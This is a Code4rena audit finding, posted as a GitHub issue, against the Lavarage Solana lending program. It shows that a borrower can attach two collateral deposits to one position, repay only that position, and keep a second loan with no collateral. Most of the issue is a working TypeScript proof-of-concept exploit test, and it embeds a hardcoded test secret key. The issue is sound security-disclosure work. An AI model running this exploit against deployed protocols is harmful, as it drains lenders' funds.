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code-423n4 / 2024-04-lavarage-findings

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A borrower can borrow SOL without backing it by a collateral #16

Open c4-bot-5 opened 4 months ago

c4-bot-5 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L40-L51

Vulnerability details

Impact

The borrower can borrow SOL from the lender without backing it by a collateral. This is possible because the borrower can open two positions at the same time (same TX) but link both addCollateral to one position. Although borrow checks the existence of addCollateral, it doesn't check if the positions match.

This can be done as follows:

  1. The borrower opens two positions (Pos#1 and Pos#2).
  2. When opening the position, the borrower links both collateral to Pos#1
  3. The borrower repays Pos#1.borrowed, Thus, withdrawing both collaterals.
  4. Now, the protocol has no collaterals.
  5. The borrower got away with Pos#2.borrowed without adding a collateral.

Check the PoC below, It demonstrates how a thief could perform the scenario above.

Note: this is different from the other issue reported (completly different root cause and slightly different impact)

Proof of Concept

import { createMint, createTransferCheckedInstruction, getAccount, getOrCreateAssociatedTokenAccount, mintTo, TOKEN_PROGRAM_ID, } from '@solana/spl-token'; import { web3 } from '@coral-xyz/anchor'; export function getPDA(programId, seed) { const seedsBuffer = Array.isArray(seed) ? seed : [seed];

return web3.PublicKey.findProgramAddressSync(seedsBuffer, programId)[0]; } describe('lavarage', () => { anchor.setProvider(anchor.AnchorProvider.env()); const program: anchor.Program = anchor.workspace.Lavarage; const nodeWallet = anchor.web3.Keypair.generate(); const anotherPerson = anchor.web3.Keypair.generate(); const seed = anchor.web3.Keypair.generate(); // TEST ONLY!!! DO NOT USE!!! const oracleKeyPair = anchor.web3.Keypair.fromSecretKey( Uint8Array.from([ 70, 207, 196, 18, 254, 123, 0, 205, 199, 137, 184, 9, 156, 224, 62, 74, 209, 0, 80, 73, 146, 151, 175, 68, 182, 180, 53, 91, 214, 7, 167, 209, 140, 140, 158, 10, 59, 141, 76, 114, 109, 208, 44, 110, 77, 64, 149, 121, 7, 226, 125, 0, 105, 29, 76, 131, 99, 95, 123, 206, 81, 5, 198, 140, ]), ); let tokenMint; let userTokenAccount;

let tokenMint2; let userTokenAccount2;

const provider = anchor.getProvider();

async function mintMockTokens( people: Signer, provider: anchor.Provider, amount: number, ): Promise { const connection = provider.connection;

const signature = await connection.requestAirdrop(
  people.publicKey,
  2000000000,
);
await connection.confirmTransaction(signature, 'confirmed');

// Create a new mint
const mint = await createMint(
  connection,
  people,
  people.publicKey,
  null,
  9, // Assuming a decimal place of 9
);

// Get or create an associated token account for the recipient
const recipientTokenAccount = await getOrCreateAssociatedTokenAccount(
  connection,
  people,
  mint,
  provider.publicKey,
);

// Mint new tokens to the recipient's token account
await mintTo(
  connection,
  people,
  mint,
  recipientTokenAccount.address,
  people,
  amount,
);

return {
  mint,
  recipientTokenAccount,
};

}

// Setup phase it('Should mint new token!', async () => { const { mint, recipientTokenAccount } = await mintMockTokens( anotherPerson, provider, 200000000000000000, // 200000000000, ); tokenMint = mint; userTokenAccount = recipientTokenAccount; }, 20000);

it('Should create lpOperator node wallet', async () => { await program.methods .lpOperatorCreateNodeWallet() .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, operator: program.provider.publicKey, }) .signers([nodeWallet]) .rpc(); });

it('Should create trading pool', async () => { const tradingPool = getPDA(program.programId, [ Buffer.from('trading_pool'), provider.publicKey.toBuffer(), tokenMint.toBuffer(), ]); await program.methods .lpOperatorCreateTradingPool(50) .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, operator: program.provider.publicKey, tradingPool, mint: tokenMint, }) .rpc(); });

it('Should fund node wallet', async () => { await program.methods .lpOperatorFundNodeWallet(new anchor.BN(500000000000)) .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, funder: program.provider.publicKey, }) .rpc(); });

it('Should set maxBorrow', async () => { const tradingPool = getPDA(program.programId, [ Buffer.from('trading_pool'), provider.publicKey.toBuffer(), tokenMint.toBuffer(), ]); // X lamports per 1 Token await program.methods .lpOperatorUpdateMaxBorrow(new anchor.BN(50)) .accountsStrict({ tradingPool, nodeWallet: nodeWallet.publicKey, operator: provider.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); });

// repay it('Hacker can extract SOL and Collaterl', async () => { // const seed = Keypair.generate(); const seed2 = Keypair.generate();

const tradingPool = getPDA(program.programId, [
  Buffer.from('trading_pool'),
  provider.publicKey.toBuffer(),
  tokenMint.toBuffer(),
]);
// create ATA for position account
const positionAccount = getPDA(program.programId, [
  Buffer.from('position'),
  provider.publicKey?.toBuffer(),
  tradingPool.toBuffer(),
  // unique identifier for the position
  seed.publicKey.toBuffer(),
]);
const positionATA = await getOrCreateAssociatedTokenAccount(
  provider.connection,
  anotherPerson,
  tokenMint,
  positionAccount,
  true,
);

// create ATA for position account 2
const positionAccount2 = getPDA(program.programId, [
  Buffer.from('position'),
  provider.publicKey?.toBuffer(),
  tradingPool.toBuffer(),
  // unique identifier for the position
  seed2.publicKey.toBuffer(),
]);
const positionATA2 = await getOrCreateAssociatedTokenAccount(
  provider.connection,
  anotherPerson,
  tokenMint,
  positionAccount2,
  true,
);

// actual borrow
const borrowIx = await program.methods
.tradingOpenBorrow(new anchor.BN(10), new anchor.BN(5))
  .accountsStrict({
    positionAccount,
    trader: provider.publicKey,
    tradingPool,
    nodeWallet: nodeWallet.publicKey,
    randomAccountAsId: seed.publicKey,
    // frontend fee receiver. could be any address. opening fee 0.5%
    feeReceipient: anotherPerson.publicKey,
    systemProgram: anchor.web3.SystemProgram.programId,
    clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
    instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
  })
  .instruction();

  const transferIx = createTransferCheckedInstruction(
    userTokenAccount.address,
    tokenMint,
    positionATA.address,
    provider.publicKey,
    100000000000000000,
    9,
  );

const transferIx2 = createTransferCheckedInstruction(
  userTokenAccount.address,
  tokenMint,
  positionATA.address, // transfer to the other account (1st pos)
  provider.publicKey,
  100000000000000000,
  9,
);
// the param in this method is deprecated. should be removed.
const addCollateralIx = await program.methods
  .tradingOpenAddCollateral()
  .accountsStrict({
    positionAccount,
    tradingPool,
    systemProgram: anchor.web3.SystemProgram.programId,
    trader: provider.publicKey,
    randomAccountAsId: seed.publicKey,
    mint: tokenMint,
    toTokenAccount: positionATA.address, // I need to create this account
  })
  .instruction();

// actual borrow 2
const borrowIx2 = await program.methods
.tradingOpenBorrow(new anchor.BN(10000000000), new anchor.BN(5000000000))
.accountsStrict({
  positionAccount: positionAccount2,
  trader: provider.publicKey,
  tradingPool,
  nodeWallet: nodeWallet.publicKey,
  randomAccountAsId: seed2.publicKey,
  // frontend fee receiver. could be any address. opening fee 0.5%
  feeReceipient: anotherPerson.publicKey,
  systemProgram: anchor.web3.SystemProgram.programId,
  clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
  instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
})
.instruction();

// the param in this method is deprecated. should be removed.
const addCollateralIx2 = await program.methods
.tradingOpenAddCollateral()
.accountsStrict({
  positionAccount: positionAccount,
  tradingPool,
  systemProgram: anchor.web3.SystemProgram.programId,
  trader: provider.publicKey,
  randomAccountAsId: seed.publicKey,
  mint: tokenMint,
  toTokenAccount: positionATA.address,
})
.instruction();

let tokenAccount = await getAccount(
  provider.connection,
  positionATA.address,
);

let tokenAccount2 = await getAccount(
  provider.connection,
  positionATA2.address,
);

let userTokenAcc = await getAccount(
  provider.connection,
  userTokenAccount.address,
);

console.log("===== Initial Amounts======");

console.log("Pos#1.collaterel    : ", tokenAccount.amount);
console.log("Pos#2.collaterel    : ", tokenAccount2.amount);
console.log("Borrower Collaterel : ", userTokenAcc.amount);

console.log("Node Sol            : ", await provider.connection.getBalance(nodeWallet.publicKey));
console.log("Borrower Sol        : ", await provider.connection.getBalance(provider.publicKey));

const tx_borrow = new Transaction()
.add(borrowIx)
.add(transferIx)
.add(addCollateralIx)
.add(borrowIx2)
.add(transferIx2)
.add(addCollateralIx2); // add collateral but link it to first Pos

await provider.sendAll([{ tx: tx_borrow }]);

console.log("===== After Borrow #1 and #2======");

tokenAccount = await getAccount(
  provider.connection,
  positionATA.address,
);

tokenAccount2 = await getAccount(
  provider.connection,
  positionATA2.address,
);

 userTokenAcc = await getAccount(
  provider.connection,
  userTokenAccount.address,
);

const tokenAccount_amount = tokenAccount.amount;
const userTokenAcc_amount = userTokenAcc.amount;
console.log("Pos#1.collaterel    : ", tokenAccount_amount);
console.log("Pos#2.collaterel    : ", tokenAccount2.amount);
console.log("Borrower Collaterel : ", userTokenAcc_amount);

const node_balance = await provider.connection.getBalance(nodeWallet.publicKey);
const user_balance = await provider.connection.getBalance(provider.publicKey);
console.log("Node Sol            : ", node_balance);
console.log("Borrower Sol        : ", user_balance);

const receiveCollateralIx = await program.methods
.tradingCloseBorrowCollateral()
.accountsStrict({
  positionAccount: positionAccount,  
  trader: provider.publicKey,
  tradingPool,
  instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
  systemProgram: anchor.web3.SystemProgram.programId,
  clock: SYSVAR_CLOCK_PUBKEY,
  randomAccountAsId: seed.publicKey,  
  mint: tokenMint,
  toTokenAccount: userTokenAccount.address,
  fromTokenAccount: positionATA.address,
  tokenProgram: TOKEN_PROGRAM_ID,
})
.instruction();

const repaySOLIx = await program.methods // .tradingCloseRepaySol(new anchor.BN(20000), new anchor.BN(9998)) .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9998)) .accountsStrict({ positionAccount: positionAccount, trader: provider.publicKey, tradingPool, nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, clock: SYSVAR_CLOCK_PUBKEY, randomAccountAsId: seed.publicKey, feeReceipient: anotherPerson.publicKey, }) .instruction();

const tx_repay = new Transaction()
.add(receiveCollateralIx)
.add(repaySOLIx);

console.log(">>===== Now, repay borrow#1 only and withdraw all of my collaterals======>>");

await provider.sendAll([{ tx: tx_repay }]);

console.log("===== After Successful Repay ======");

tokenAccount = await getAccount(
  provider.connection,
  positionATA.address,
);

tokenAccount2 = await getAccount(
  provider.connection,
  positionATA2.address,
);

 userTokenAcc = await getAccount(
  provider.connection,
  userTokenAccount.address,
);
const tokenAccount_amount2 = tokenAccount.amount;
const userTokenAcc_amount2 = userTokenAcc.amount;
console.log("Pos#1.collaterel    : ", tokenAccount_amount2);
console.log("Pos#2.collaterel    : ", tokenAccount2.amount);
console.log("Borrower Collaterel : ", userTokenAcc_amount2);

const node_balance2 = await provider.connection.getBalance(nodeWallet.publicKey);
const user_balance2 = await provider.connection.getBalance(provider.publicKey);
console.log("Node Sol            : ", node_balance2);
console.log("Borrower Sol        : ", user_balance2);

});

});



## Tools Used
Manual analysis

## Recommended Mitigation Steps

On `borrow` validate that the `TradingOpenAddCollateral` has the relevant position account.  

## Assessed type

Invalid Validation
c4-judge commented 4 months ago

alcueca marked the issue as duplicate of #4

c4-judge commented 4 months ago

alcueca marked the issue as satisfactory

c4-judge commented 4 months ago

alcueca marked the issue as selected for report

c4-sponsor commented 4 months ago

piske-alex (sponsor) confirmed